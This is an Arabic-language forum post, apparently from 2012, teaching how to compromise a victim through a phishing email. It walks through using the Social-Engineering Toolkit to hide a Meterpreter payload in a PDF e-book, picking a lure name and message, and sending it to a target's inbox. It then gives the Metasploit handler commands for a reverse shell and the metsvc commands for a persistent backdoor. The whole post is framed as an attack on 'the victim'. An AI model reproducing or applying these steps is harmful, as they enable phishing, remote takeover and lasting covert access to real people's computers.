|
 مساحة اعلانات نصية ذهبية |
||
| كوبونات خصم | اعلن هنا | اعلن هنا |
| اعلن هنا | مساحة إعلانيه | |
|
|||||||
 |
|
|
أدوات الموضوع | انواع عرض الموضوع |
|
#1
08-10-2012, 02:10 PM
|
|||
|
|||
[ شرح ] حصريا بأنفراد تام [Hack with Social Engineering]
السلام عليكم ورحمة الله وبركاته
بـسم الله الرحمن الرحيم اليوم بنتكلم عن الاختراق بالهندسة الاجتماعية ( Social Engineering ) و هي ما يعرف باقناع الضحية بما حوله من البيئة المحيطة به على الانترنت او ايا كان .. و لا يخفى على الجميع ان اشهر مهندس اجتماعي هو كيفين ميت*** بحاول اني ما اخرج عن الموضوع .. ( باختصار هي التلاعب بالناس لفعل ما تريد لكي تحصل على ما تريد ) بصراحة و بالنسبة لي .. تعتبر الهندسة الاجتماعية سلآح فتاك و خطير لانها لا تتوقف على اقفال ثغرة معينة او حماية للنظام و ما الى ذلك .. لانه بعد اقناع الضحية لا شيء يقف امام الوصول لما تريد . نرجع لموضوعنا .. كيف تتم العملية ؟ 1-عن طريق اداة من صناعة المبرمج ديفيد كنيدي ( مبرمج الفاست تراك ) 2-حقن بايلود مشفر من جميع الحمايات بكتاب الكتروني بصيغة pdf 3-ارسال الملف لبريد الضحية على الانبوكس 4-التنصت و الانتظار حتى يتم الاتصال بالضحية ماهي الادوات اللازمة للقيام بالعملية ؟ 1-Social-Engineering Toolkit 2-Gmail account 3-M3tasploit طبعا كل الادوات متوفرة على الباك تراك الا Social-Engineering Toolkit سوف نقوم بتحميلها و صنع مجلد لها نبدا مع اول امر وهو لتحميل الاداة و صنع مجلد لها كود : svn co http://svn.thepentest.com/social_engineering_toolkit/ SET/ ملاحظة : يجب ان تكون root .. الان ندخل على مجلد الاداة بالامر : cd SET من ثم نشغل الادة عن طريق الامر : ./set و هذي صورة توضيحية للامرين ..  اشرح لكم الخيارات .. الخيار رقم 1 لعمل هندسة اجتماعية عبر الايميل .. الخيار رقم 2 لعمل هندسة اجتماعية عبر صفحات الويب و الخيارات الباقية للتحديث و صنع بايلودات .. عموما هجومنا هو رقم 1 اللي يتم عن طريق الايميل .. نختار الخيار الاول بالرقم 1 و نشوف :  مثل ماهو واضح بالصورة .. طلع لنا خيارين ثانية نختار الخيار الاول بالرقم 1 ثم راح يسالك اذا تبي تكون بايلود او لا نختار نعم الان ظهر لنا عدة خيارات لطريقة زرع البايلود اللي تبي تكونه داخل الكتاب الالتروني .. نختار رقم 4 لانه هو الفعال دائما .. اما الباقي فهو عن طريق ثغرات اي ان هناك احتمال بعدم نجاح العملية .. و بعد ما اخترنا الاستغلال المناسب .. الان نحدد البايلود المناسب و يفضل Meterpreter  بعد تحديد البايلود .. الان بيطلب منك الاي بي تبعك للاتصال بالضحية و بيطلب منك البورت اللي راح يتم التنصت عليه نحددها و نكمل شغلنا ..  الان اكتملت الاعدادات و تم صناعة الملف و البايلود بنجاح .. نضغط انتر لاستكمال العملية و ارسال الملف بيظهر لك خيارين .. الاول اذا كنت تبي تترك اسم الملف زي ماهو تختاره .. الثاني يقلك لا .. لازم اظهر بمظهر اكثر جاذبية للضحية طبعا اكيد نختار الخيار الثاني و نسمي الملف باسم جذاب ..  الان ايضا .. ظهر لنا خيارين جديدة الخيار الاول يعني ارسال الملف لايميل واحد فقط اما الخيار الثاني فهو لارسال الملف لعدة ايميلات ! نختار الخيار الاول .. بالرقم 1 < انت بامكانك تختار الخيار الثاني بعد ما اخترنا الخيار الاول الان ظهرت لنا خيارات اخرى تفيد عنوان الرسالة و ما بداخلها طبعا يوجد اكثر من خيار .. بالنسبة لي انا اعجبتني الرسالة رقم 4 و انت اذا ما عجبك شيء بامكانك تكتب رسالة اخرى من تاليفك بالرقم 6  بعد ما حددنا الرسالة المطلوبة الان يطلب منا تحديد الايميل المراد استهدافه .. نحدده و نتبع الخيارات المتبقية .. بعد ما تم تحديد ايميل الضحية .. طلب منا عنوان المرسل فاخترت عن طريق حساب gmail و ادخلت الحساب و الباسورد .. و من ثم طلب مني اذا كنت ابي اتنصت و لا لا و اخترت لا لاني بعد شوي راح اتنصت يدويا افضل .. الان تم ارسال الرسالة وش رايكم نشوف كيف شكلها ؟  حلوو .. واضحة الرسالة و الملف مرفق معها .. و بنفس عنوان الرسالة اللي اخترناه قبل شوي ! طيب الان نتنصت لانتظار الضحية بالامر : كود: ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=5555 E الان نلاحظ الصورة بعد ما تنصتنا و بعد ما فتح الضحية الملف ظهور جلسة جديدة !  ================================================== ======================= اضافة بسيطة و مفيدة جدا و هي ثبات الضحية و المقدرة للرجوع اليه في اي وقت تحبه .. وهو ما يعرف بالـ metsvc حلوو .. بعد ما وصلنا لجهاز الضحية مثل ماهو وآضح فوق راح ننفذ امر بسيط جدا لتثبيت خدمة الـ metsvc الامر : كود: run metsvc  الان بعد تنصيب الخدمة و في حال خروج الضحية .. تقدر ترجع للضحية بالامر التالي : كود: ./msfcli exploit/multi/handler PAYLOAD=windows/metsvc_bind_tcp LPORT=31337 RHOST=192.168.1.3 E بحيث RHOST= اي بي الضحية و LPORT= البورت تبع الخدمة وهو ثابت نلاحظ الصورة  الى هنا كل شيء مفهوم ان شاء الله اتمنى انكم فهمتو الموضوع واي استفشار اني حاضر والبروفايل حاضر في امان الله ~ 
|
|
|
|
|
المواضيع المتشابهه
|
||||
| الموضوع | كاتب الموضوع | المنتدى | مشاركات | آخر مشاركة |
| [ شرح ] السطو على الشبكة بدمج هجومين DNS Spoofing + Social Engineering | rss | اشراق شامل - منوعات | 0 | 08-17-2012 08:50 PM |
| حصريا و بأنفراد عملاق التحميل من الانترنت الاول عالميا Internet Download Manager 6.01 | eshrag.net | المنتدى العام - مواضيع عامة | 0 | 09-01-2010 02:51 PM |
| Electrical Engineering | بن حامد | المنتدى العام - مواضيع عامة | 12 | 01-22-2008 11:16 AM |
| Petroleum Engineering | **دمعــة احســاس** | المنتدى العام - مواضيع عامة | 6 | 01-22-2008 11:15 AM |
| Systems Engineering (A) | **دمعــة احســاس** | المنتدى العام - مواضيع عامة | 14 | 01-22-2008 11:15 AM |
|
شراء روابط نصية |
|
| راسلنا الآن لشراء روابط نصية باك لينك وجيست بوست | خدمات الباك لينك والروابط النصية |
|
روابط نصية AAXA |
||||
| اشتراك يوتيوب بريميوم | اشتراك تطبيقات بلس | اشتراك IPTV شهر | يوتيوب بريميوم | عسل النحل |
|
روابط نصية AAPS |
||||
| دراما كافيه | دراما صح | اهواك Tv | فوستا | شبكتي Tv |
|
روابط نصية AA1A |
|||||
| كورة لايف | koora live | مباريات اليوم بث مباشر | kora 360 | koora4live | كورة لايف |
| koora live | مباريات اليوم بث مباشر | kora 360 | koora4live | kooralive | مساحة إعلانيه |
|
روابط نصية AAZ |
||
| متجر الرياض | شحن شدات ببجي | شحن شدات ببجي |
|
روابط نصية AHD3 |
|||||||||
| عزل اسطح | كشف تسربات المياه | عزل فوم بالرياض | شركة عزل اسطح | كشف تسربات المياه بالرياض | عزل اسطح بجدة | شركة كشف تسربات المياه | نقل اثاث بالرياض | شراء اثاث مستعمل بالرياض | شركة تنظيف بالرياض |
|
روابط نصية KSM |
|||||||
| خصومات | هدايا وكوبونات | توفير المال | مال واستثمار | صفقات وتسوق | عروض اسواق السعودية | تحسين مالي | كوبونات |
|
روابط نصية AN |
||||
| يلا شوت | يلا شوت | يلا لايف | yalla shoot | يلا شوت |
|
روابط نصية M11 |
|||||||
| كورة جول | يلا لايف | دوت سبورت | bein match | yalla shoot | yalla shoot | koora live | koora live |
| يلا شوت | koora4live | سوريا لايف | تابع لايف | كورة لايف | كورة جول | كورة لايف | koora live |
|
روابط نصية AWA |
||||
| كورة لايف | Koora live | يلا شوت | Yalla shoot | يلا شوت |
|
روابط نصية AA3A |
||||
| تقييم شركة exness | تقييم شركة binance | تقييم شركة avatrade | تقييم شركة evest | افضل شركات التداول |
العرض العادي
